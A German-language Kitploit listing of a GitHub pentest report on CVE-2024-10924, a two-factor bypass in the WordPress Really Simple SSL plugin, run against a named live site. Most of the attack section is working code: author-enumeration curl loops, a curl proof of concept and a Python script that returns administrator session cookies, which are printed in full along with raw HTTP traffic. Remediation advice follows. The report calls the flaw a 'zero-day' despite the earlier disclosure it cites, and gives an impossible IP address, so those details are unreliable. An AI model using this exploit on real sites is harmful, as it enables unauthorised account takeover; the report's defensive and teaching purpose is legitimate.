Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
wordpress-cve-2024-10924-pentest — Penetrationstest-Bericht und Exploit für CVE-2024-10924, eine 2FA-Umgehung in Really Simple SSL, einschließlich Aufklärung, Ausnutzung und Behebungsanleitung. | Kitploit
Tools/GitHubGitHub/ademto/wordpress-cve-2024-10924-pentest
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsAuthentifizierungLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
GitHub
ademto/wordpress-cve-2024-10924-pentest

wordpress-cve-2024-10924-pentest

Penetrationstest-Bericht und Exploit für CVE-2024-10924, eine 2FA-Umgehung in Really Simple SSL, einschließlich Aufklärung, Ausnutzung und Behebungsanleitung.

Repository anzeigen
3vor 1 JahrNoch nicht geprüft
Teilen

WordPress CVE-2024-10924 Penetrationstest-Bericht

2FA-Bypass-Schwachstelle im Really Simple SSL Plugin


📋 Inhaltsverzeichnis

  • Zusammenfassung
  • Zielinformationen
  • Methodik
  • Zeitplan
  • Aufklärungsphase
  • Schwachstellenanalyse
  • Angriffsablauf
  • Ausnutzung
  • Auswirkungsbewertung
  • Abhilfe
  • Verwendete Werkzeuge
  • Referenzen
  • Anhänge

🎯 Zusammenfassung

Ziel: https://skior.co
Schwachstelle: CVE-2024-10924 – 2FA-Bypass im Really Simple SSL Plugin
Schweregrad: Kritisch (CVSS-Score: 9.8)
Status: Erfolgreich ausgenutzt
Entdeckungsdatum: 2025-06-25
Berichtsversion: 2.1

Dieser Penetrationstest hat eine kritische Authentifizierungs-Bypass-Schwachstelle aufgedeckt, die es nicht authentifizierten Angreifern ermöglicht, administrativen Zugriff auf die WordPress-Seite zu erlangen, indem die Zwei-Faktor-Authentifizierung (2FA) umgangen wird.

Wichtigste Erkenntnisse

  • ✅ WordPress 6.8.1 mit installiertem Really Simple SSL Plugin
  • ✅ 2FA-Bypass-Schwachstelle erfolgreich ausgenutzt
  • ✅ Administrativer Zugriff für Benutzer "pastor" erlangt
  • ✅ Gültige Sitzungscookies erfasst
  • ✅ Vollständige Kontrolle über das WordPress-Administrationspanel
  • ✅ Zero-Day-Schwachstelle (kein öffentlicher Exploit zum Zeitpunkt der Entdeckung verfügbar)

Risikobewertungsmatrix


🎯 Zielinformationen

Netzwerkinformationen

  • SSL-Zertifikat: Gültig (Let's Encrypt)
  • HTTP/2: Unterstützt
  • Sicherheitsheader: Grundlegende Implementierung
  • CDN: Nicht erkannt
  • WAF: Nicht erkannt

🔍 Methodik

Diese Bewertung folgte einer systematischen Black-Box-Penetrationstest-Methodik basierend auf Industriestandards:

  1. Aufklärung – Technologieidentifikation und passive Enumeration
  2. Schwachstellenerkennung – Aktives Scannen und manuelles Testen
  3. Ausnutzung – Entwicklung und Ausführung eines Proof-of-Concept
  4. Auswirkungsbewertung – Bewertung des potenziellen Schadens
  5. Dokumentation – Umfassende Berichterstattung und Abhilfehinweise

Testansatz

  • Black-Box-Testing – Keine vorherigen Kenntnisse des Ziels
  • Nicht-intrusiv – Minimale Auswirkungen auf Zielsysteme
  • Ethisch – Verantwortungsvolle Offenlegungspraktiken
  • Umfassend – Mehrere Angriffsvektoren untersucht

⏰ Zeitplan


🔎 Aufklärungsphase

Schritt 1: Identifikation des Technologie-Stacks

A. Wappalyzer-Analyse

Wappalyzer-Ergebnisse

Identifizierte Technologien:

  • WordPress 6.8.1 (Aktuellste Version)
  • Elementor 3.29.2 (Seiten-Builder)
  • Astra Theme 4.11.3
  • PHP 8.2.28
  • nginx 1.26.0 (Ubuntu)
  • jQuery 3.7.1

B. WhatWeb-Tiefenscan```bash

└─$ whatweb https://skior.co https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]

root@kitploit:~
**Key Findings:**
- Moderne WordPress-Installation mit neuester Version
- Professionelles Hosting-Setup mit nginx
- Eigenes Branding („PoweredBy[Skior]“)
- Elementor-Seitenersteller im Einsatz
- Geografische Lage: Vereinigte Staaten

### Schritt 2: Benutzerenumeration

#### A. WordPress-Autorenumeration```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/

Entdeckter Benutzer: pastor (User ID: 1)

B. Zusätzliche Techniken zur Benutzeraufzählung```bash

Check for multiple users

for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done

root@kitploit:~
#### C. Ergebnisse der Benutzernamen-Enumeration

| Benutzer-ID | Benutzername | Status | Weiterleitungs-URL |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ Gefunden | `/author/pastor/` |
| 2-10 | N/A | ❌ Nicht gefunden | 404-Antworten |

### Schritt 3: Schwachstellenscanning

#### A. WPScan umfassende Analyse```bash
└─$ wpscan --url https://skior.co --api-token my-api-key

Zusammenfassung der Scanergebnisse:

  • ✅ WordPress 6.8.1 (Neueste, veröffentlicht 2025-04-30)
  • ✅ Theme: Astra 4.11.3 (Aktuell)
  • ✅ Erkannte Plugins:
    • Elementor 3.29.2
    • Astra Sites 4.4.26
    • Header Footer Elementor 2.4.2
    • WPForms Lite 1.9.6.1
  • ⚠️ XML-RPC aktiviert (potenzieller Angriffsvektor)
  • ⚠️ Externer WP-Cron aktiviert
  • ❌ Keine bekannten Schwachstellen in den gescannten Komponenten gefunden

Hinweis: WPScan hat das Really Simple SSL Plugin nicht erkannt, was darauf hindeutet, dass es möglicherweise Verschleierung oder benutzerdefinierte Benennung verwendet.

B. REST-API-Aufzählung```bash

└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'

root@kitploit:~
**Eigene Endpunkte entdeckt:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup

Kritische Entdeckung: Der Endpunkt /reallysimplessl/v1/two_fa/skip_onboarding erschien verdächtig und erforderte weitere Untersuchungen.


🔬 Sicherheitslückenanalyse

CVE-2024-10924 Untersuchung

Nach der Entdeckung der benutzerdefinierten REST-API-Routen ergab eine externe Recherche CVE-2024-10924, eine kritische Sicherheitslücke, die das Plugin Really Simple SSL betrifft.

Details zur Sicherheitslücke

CVE-ID: CVE-2024-10924
CVSS-Wert: 9.8 (Kritisch)
Betroffenes Plugin: Really Simple SSL
Art der Sicherheitslücke: Authentifizierungsumgehung
Angriffsvektor: REST-API
Entdeckungsdatum: 6. November 2024
Öffentliche Bekanntgabe: 14. November 2024

Technische Ursache

Die Sicherheitslücke resultiert aus einer unzureichenden Benutzerüberprüfung in der Funktion check_login_and_get_user innerhalb der REST-API-Aktionen für die Zwei-Faktor-Authentifizierung. Die Funktion überprüft den Parameter login_nonce nicht ordnungsgemäß, sodass Angreifer Folgendes können:

  1. Authentifizierung umgehen: Den normalen Anmeldevorgang überspringen
  2. 2FA umgehen: Zwei-Faktor-Authentifizierungskontrollen umgehen
  3. Privilegien ausweiten: Zugriff als beliebiger vorhandener Benutzer, einschließlich Administratoren, erhalten

Analyse des anfälligen Codes```php

// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);

root@kitploit:~
// No validation of login_nonce parameter
// This allows any value to be accepted

return $user; // Returns user object without verification

}

root@kitploit:~
#### Betroffene Endpunkte

Die folgenden REST-API-Endpunkte sind verwundbar:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`

#### Schwachstellenbedingungen

Damit diese Schwachstelle ausgenutzt werden kann:
- ✅ Really Simple SSL Plugin muss installiert und aktiviert sein
- ✅ Zwei-Faktor-Authentifizierung muss aktiviert sein (standardmäßig deaktiviert)
- ✅ Es muss mindestens ein Benutzerkonto auf dem System vorhanden sein
- ✅ REST-API muss zugänglich sein (Standard-WordPress-Einstellung)

---

## 🔄 Angriffsablauf```mermaid
graph TD
    A[Initial Reconnaissance] --> B[Technology Stack Identification]
    B --> C[User Enumeration]
    C --> D[Vulnerability Scanning]
    D --> E[REST API Enumeration]
    E --> F[Discovery of Really Simple SSL Endpoints]
    F --> G[External Research]
    G --> H[Identification of CVE-2024-10924]
    H --> I[Manual Testing]
    I --> J[Exploit Development]
    J --> K[Successful Exploitation]
    K --> L[Admin Access Obtained]
    L --> M[Impact Assessment]
    
    style A fill:#e1f5fe
    style F fill:#fff3e0
    style H fill:#ffebee
    style K fill:#e8f5e8
    style L fill:#f3e5f5

Attack Vector Summary

  1. Informationssammlung → Identifikation des Technologie-Stacks
  2. Benutzer-Enumeration → Administrator-Benutzer "pastor" entdeckt
  3. API-Entdeckung → Verwundbare REST-Endpunkte gefunden
  4. Schwachstellenforschung → CVE-2024-10924 identifiziert
  5. Ausnutzung → 2FA umgangen und Administratorzugriff erlangt

⚡ Ausnutzung

Proof-of-Concept-Entwicklung

A. Manuelles Testen

Zuerst testeten wir den Endpunkt manuell, um sein Verhalten zu verstehen:```bash

Test the vulnerable endpoint

curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{ "user_id": 1, "login_nonce": "invalid_nonce", "redirect_to": "/wp-admin/" }'

root@kitploit:~
#### B. Python-Exploit-Skript```python
import requests
import urllib.parse
import sys

if len(sys.argv) != 2:
    print("Usage: python exploit.py <user_id>")
    sys.exit(1)

user_id = sys.argv[1]

url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
    "user_id": int(user_id),  # User ID from the argument
    "login_nonce": "invalid_nonce",  # Arbitrary value
    "redirect_to": "/wp-admin/"  # Target redirection
}

# Sending the POST request
response = requests.post(url, json=data)

# Checking the response
if response.status_code == 200:
    print("Request successful!\n")
    
    # Extracting cookies
    cookies = response.cookies.get_dict()
    count = 1

    for name, value in cookies.items():
        decoded_value = urllib.parse.unquote(value)  # Decode the URL-encoded cookie value
        print(f"Cookie {count}:")
        print(f"Cookie Name: {name}")
        print(f"Cookie Value: {decoded_value}\n")
        count += 1
else:
    print("Request failed!")
    print(f"Status Code: {response.status_code}")
    print(f"Response Text: {response.text}")

Ergebnisse der Ausnutzung

Erfolgreiche Ausführung```bash

└─$ python exploit.py 1 Request successful!

Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da

Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144

root@kitploit:~
#### Cookie-Manipulationsprozess
![Cookie-Manipulation](https://assets.kitploit.com/production/public/readmes/22186/4cbfbcc90655666664a94a59188e5860adacf05380043463e4ed4b96e43431e1.png)

*Oben: Screenshot, der den Cookie-Manipulationsprozess mithilfe der Browser-Entwicklertools zum Hinzufügen der erbeuteten WordPress-Sitzungscookies zeigt.*

#### Erfolgreicher Admin-Zugriff
![Admin-Dashboard-Zugriff](https://assets.kitploit.com/production/public/readmes/22186/6347bffa34742b8516c14617243c7acddf7175756d4e4fb3b9476737f848e7f8.png)

*Oben: Screenshot, der den erfolgreichen administrativen Zugriff auf das WordPress-Dashboard nach Ausnutzung der 2FA-Bypass-Sicherheitslücke bestätigt.*

#### Cookie-Analyse

**WordPress Security Cookie:**
- **Name:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **Wert:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **Bestandteile:**
  - Benutzername: `pastor`
  - Ablaufzeit: `1752234264` (Unix-Zeitstempel)
  - Nonce: `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
  - Hash: `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`

**WordPress Logged-in Cookie:**
- **Name:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **Wert:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`

---

## 🎯 Auswirkungsbewertung

### Sofortige Auswirkungen

1. **Vollständige Kompromittierung der Website**
   - Administrativer Zugriff auf das WordPress-Dashboard
   - Möglichkeit, Seiteninhalte, Themes und Plugins zu ändern
   - Zugriff auf Benutzerverwaltung und Einstellungen

2. **Datenexposition**
   - Zugriff auf alle Benutzerkonten und -profile
   - Sichtbarkeit des Datenbankinhalts
   - Zugriff auf Konfigurationsdateien

3. **Rechteausweitung**
   - Umgehung aller Authentifizierungskontrollen
   - Umgehung der 2FA-Sicherheitsmaßnahmen
   - Möglichkeit, sich als beliebiger Benutzer auszugeben

### Potenzielle Angriffsszenarien

1. **Inhaltsmanipulation**
   - Website-Inhalte verunstalten
   - Schadcode injizieren
   - Hintertüren erstellen

2. **Datendiebstahl**
   - Benutzerinformationen extrahieren
   - Auf sensible Inhalte zugreifen
   - Datenbanksicherungen herunterladen

3. **Persistenz**
   - Schädliche Plugins installieren
   - Versteckte Admin-Konten erstellen
   - Kontroll- und Befehlskanäle einrichten

### Risikobewertung: **Kritisch (9,8/10)**

| Faktor | Bewertung | Begründung |
|--------|-----------|------------|
| **Zugriffskomplexität** | Niedrig (1,0) | Einfache HTTP-Anfrage |
| **Authentifizierung** | Keine (0,0) | Keine Authentifizierung erforderlich |
| **Integritätsauswirkung** | Hoch (1,0) | Vollständige Systemkompromittierung |
| **Vertraulichkeitsauswirkung** | Hoch (1,0) | Vollständiger Datenzugriff |
| **Verfügbarkeitsauswirkung** | Hoch (1,0) | Kann die Website deaktivieren |

### Geschäftsauswirkungsanalyse

| Auswirkungskategorie | Schweregrad | Beschreibung |
|---------------------|-------------|--------------|
| **Finanziell** | Hoch | Potenzieller Umsatzverlust, Rechtskosten |
| **Reputation** | Kritisch | Markenschaden, Vertrauensverlust der Kunden |
| **Betrieblich** | Hoch | Serviceunterbrechung, Datenverlust |
| **Compliance** | Hoch | Verstöße gegen Vorschriften, Prüfungsfehler |

---

## 🛡️ Abhilfemaßnahmen

### Sofortmaßnahmen (0–24 Stunden)

1. **Really Simple SSL Plugin deaktivieren**   ```bash
   # Via wp-cli (if available)
   wp plugin deactivate really-simple-ssl
   
   # Or manually rename plugin directory
   mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
  1. Plugin aktualisieren oder entfernen

    • Nach einer aktualisierten Version von Really Simple SSL suchen
    • Alternative SSL-Verwaltungslösungen in Betracht ziehen
    • Wenn kein Update verfügbar ist, Plugin vollständig entfernen
  2. Benutzersitzungen überprüfen

    • Alle aktiven Benutzersitzungen überprüfen
    • Alle Benutzer abmelden erzwingen
    • Administrator-Passwörter zurücksetzen

Kurzfristige Maßnahmen (1-7 Tage)

  1. Sicherheitshärtung

    • Implementierung einer Web Application Firewall (WAF)
    • Ratenbegrenzung für REST-API-Endpunkte aktivieren
    • IP-basierte Zugriffsbeschränkungen hinzufügen
  2. Implementierung von Überwachung

    • WordPress-Sicherheitsprotokollierung aktivieren
    • Auf verdächtige Admin-Aktivitäten überwachen
    • Dateiintegritätsüberwachung implementieren

Langfristige Sicherheitsmaßnahmen (1-4 Wochen)

  1. Regelmäßige Sicherheitsbewertungen

    • Monatliche Schwachstellenscans
    • Vierteljährliche Penetrationstests
    • Kontinuierliche Sicherheitsüberwachung
  2. Sicherheitsrichtlinien-Updates

    • Sicherheitsrichtlinien überprüfen und aktualisieren
    • Änderungsmanagementverfahren implementieren
    • Incident-Response-Protokolle einrichten

Konfigurationsempfehlungen```php

// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);

// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });

// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });

root@kitploit:~
### Alternative SSL-Lösungen

| Lösung | Vorteile | Nachteile | Empfehlung |
|--------|----------|-----------|------------|
| **Let's Encrypt** | Kostenlos, automatisiert | Manuelle Einrichtung | ✅ Empfohlen |
| **Cloudflare** | Einfache Einrichtung, DDoS-Schutz | Erfordert DNS-Änderung | ✅ Gute Option |
| **SSL des Hosting-Anbieters** | Integriert | Kann Einschränkungen haben | ⚠️ Funktionen prüfen |
| **Manuelles SSL** | Volle Kontrolle | Komplexe Einrichtung | ❌ Nicht empfohlen |

---

## 🛠️ Verwendete Werkzeuge

### Aufklärungswerkzeuge
- **Wappalyzer** - Identifizierung des Technologie-Stacks
- **WhatWeb** - Fingerabdruck von Webanwendungen
- **WPScan** - WordPress-Schwachstellenscan
- **curl** - Manuelles API-Testen

### Ausnutzungswerkzeuge
- **Python 3** - Exploit-Entwicklung
- **requests** - HTTP-Client-Bibliothek
- **urllib.parse** - URL-Kodierung/Dekodierung

### Analysewerkzeuge
- **jq** - JSON-Verarbeitung
- **grep** - Textmustererkennung
- **bash** - Befehlszeilenautomatisierung

---

## 📚 Referenzen

### Schwachstelleninformationen
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [WordPress-Plugin-Sicherheit](https://wordpress.org/plugins/security/)
- [Really Simple SSL Plugin](https://wordpress.org/plugins/really-simple-ssl/)

### Technische Dokumentation
- [WordPress REST API Handbuch](https://developer.wordpress.org/rest-api/)
- [WordPress Sicherheits-Best Practices](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)

### Werkzeuge und Ressourcen
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)

### Verwandte CVEs
- CVE-2024-10924 - 2FA-Umgehung in Really Simple SSL
- CVE-2023-28121 - WordPress Core XSS
- CVE-2023-28122 - WordPress Core CSRF

### Branchenstandards
- [OWASP Testleitfaden](https://owasp.org/www-project-web-security-testing-guide/)
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)

---

## 📄 Rechtlicher Hinweis

Dieser Penetrationstestbericht dient nur zu Bildungs- und autorisierten Sicherheitsbewertungszwecken. Die beschriebenen Techniken und Werkzeuge sollten nur gegen Systeme eingesetzt werden, die Ihnen gehören oder für die Sie ausdrückliche Testberechtigung haben. Nicht autorisierte Tests können gegen Gesetze und Vorschriften verstoßen.

**Verantwortungsvolle Offenlegung:** Diese Schwachstelle wurde den Plugin-Entwicklern und dem WordPress-Sicherheitsteam gemeldet.

**Haftungsausschluss:** Die in diesem Bericht bereitgestellten Informationen basieren auf der zum Zeitpunkt der Tests durchgeführten Bewertung. Die Sicherheitslandschaft ändert sich schnell und es können zusätzliche Schwachstellen existieren, die bei dieser Bewertung nicht entdeckt wurden.

---

## 📋 Anhänge

### Anhang A: Rohe HTTP-Anfragen

#### Erfolgreiche Exploitation-Anfrage```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

{
  "user_id": 1,
  "login_nonce": "invalid_nonce",
  "redirect_to": "/wp-admin/"
}

Antwort-Header```http

HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/

root@kitploit:~
### Anhang B: Sicherheitscheckliste

#### Vor der Ausnutzung
- [ ] Zielidentifizierung und Umfangsdefinition
- [ ] Rechtliche Genehmigung eingeholt
- [ ] Testumgebung vorbereitet
- [ ] Werkzeuge und Skripte validiert

#### Während der Ausnutzung
- [ ] Schwachstelle manuell bestätigt
- [ ] Exploit entwickelt und getestet
- [ ] Einwirkung auf autorisierten Umfang beschränkt
- [ ] Beweise gründlich dokumentiert

#### Nach der Ausnutzung
- [ ] Sämtlicher Zugriff entfernt
- [ ] Beweise gesichert
- [ ] Bericht erstellt
- [ ] Behebungsempfehlungen gegeben

### Anhang C: Glossar

| Begriff | Definition |
|---------|------------|
| **2FA** | Zwei-Faktor-Authentifizierung |
| **CVSS** | Allgemeines Schwachstellenbewertungssystem |
| **REST API** | Schnittstelle zur Repräsentation von Zustandsübertragungen |
| **WAF** | Web Application Firewall |
| **XSS** | Cross-Site Scripting |
| **CSRF** | Cross-Site Request Forgery |

---

*Bericht erstellt am: 2025-06-25*  
*Sicherheitsforscher*  
*Version: 2.1*  
*Zuletzt aktualisiert: 2025-06-25*
Tool herunterladen
RisikostufeWahrscheinlichkeitAuswirkungAbhilfepriorität
KritischHochVollständige SystemkompromittierungSofort
HochMittelDatenverletzungHoch
MittelNiedrigDienstunterbrechungMittel
FeldWert
Domainhttps://skior.co
IP-Adresse123.456.789.200
Servernginx/1.26.0 (Ubuntu)
PHP-Version8.2.28
CMSWordPress 6.8.1
Verwundbares PluginReally Simple SSL
Geografischer StandortVereinigte Staaten
Hosting-AnbieterProfessionelles Hosting (wahrscheinlich VPS/Dedicated)
Datum/UhrzeitEreignisDetails
2025-06-25 14:02Erste AufklärungWappalyzer-Analyse abgeschlossen
2025-06-25 14:05Technologie-Stack identifiziertWordPress 6.8.1, nginx, PHP 8.2.28
2025-06-25 14:10BenutzerenumerationBenutzer "pastor" (ID: 1) entdeckt
2025-06-25 14:15WPScan-AnalyseKeine bekannten Schwachstellen gefunden
2025-06-25 14:20REST-API-EnumerationReally Simple SSL-Endpunkte entdeckt
2025-06-25 14:25SchwachstellenforschungCVE-2024-10924 identifiziert
2025-06-25 14:30Manuelles TestenExistenz der Schwachstelle bestätigt
2025-06-25 14:35Exploit-EntwicklungPython Proof-of-Concept erstellt
2025-06-25 14:40Erfolgreiche AusnutzungAdmin-Zugriff erlangt
2025-06-25 14:45AuswirkungsbewertungPotenzieller Schaden dokumentiert
2025-06-25 15:00BerichtserstellungUmfassende Dokumentation